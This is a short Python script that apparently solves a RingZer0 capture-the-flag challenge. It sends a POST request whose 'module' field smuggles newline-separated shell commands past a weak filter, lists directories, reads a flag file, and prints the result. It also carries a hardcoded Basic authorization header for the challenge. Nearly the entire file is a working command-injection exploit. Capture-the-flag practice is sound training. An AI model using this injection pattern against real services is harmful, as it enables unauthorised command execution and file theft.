#!/usr/bin/env python3

import http.client
import urllib.parse

payload = """-V
cd ..
cd ..
cd ..
cd ..
ls -alF
cat flag_weak_filter_or_regex.txt
echo"""

params = urllib.parse.urlencode({
    "module": payload,
    "target": 'foo@gmail.com'
})
headers = {
    "Content-type": "application/x-www-form-urlencoded",
    "Authorization": "Basic Y3RmOmN0ZjIwMTU="
}
conn = http.client.HTTPConnection("challenges.ringzer0team.com:10185")
conn.request("POST", "/", params, headers)
response = conn.getresponse()
html = response.read().decode()
if "Invalid email address." in html:
    print("Invalid email address.")
else:
    print(html.split("<strong>Email sent! </strong>")[1].split("</div>")[0])
conn.close()
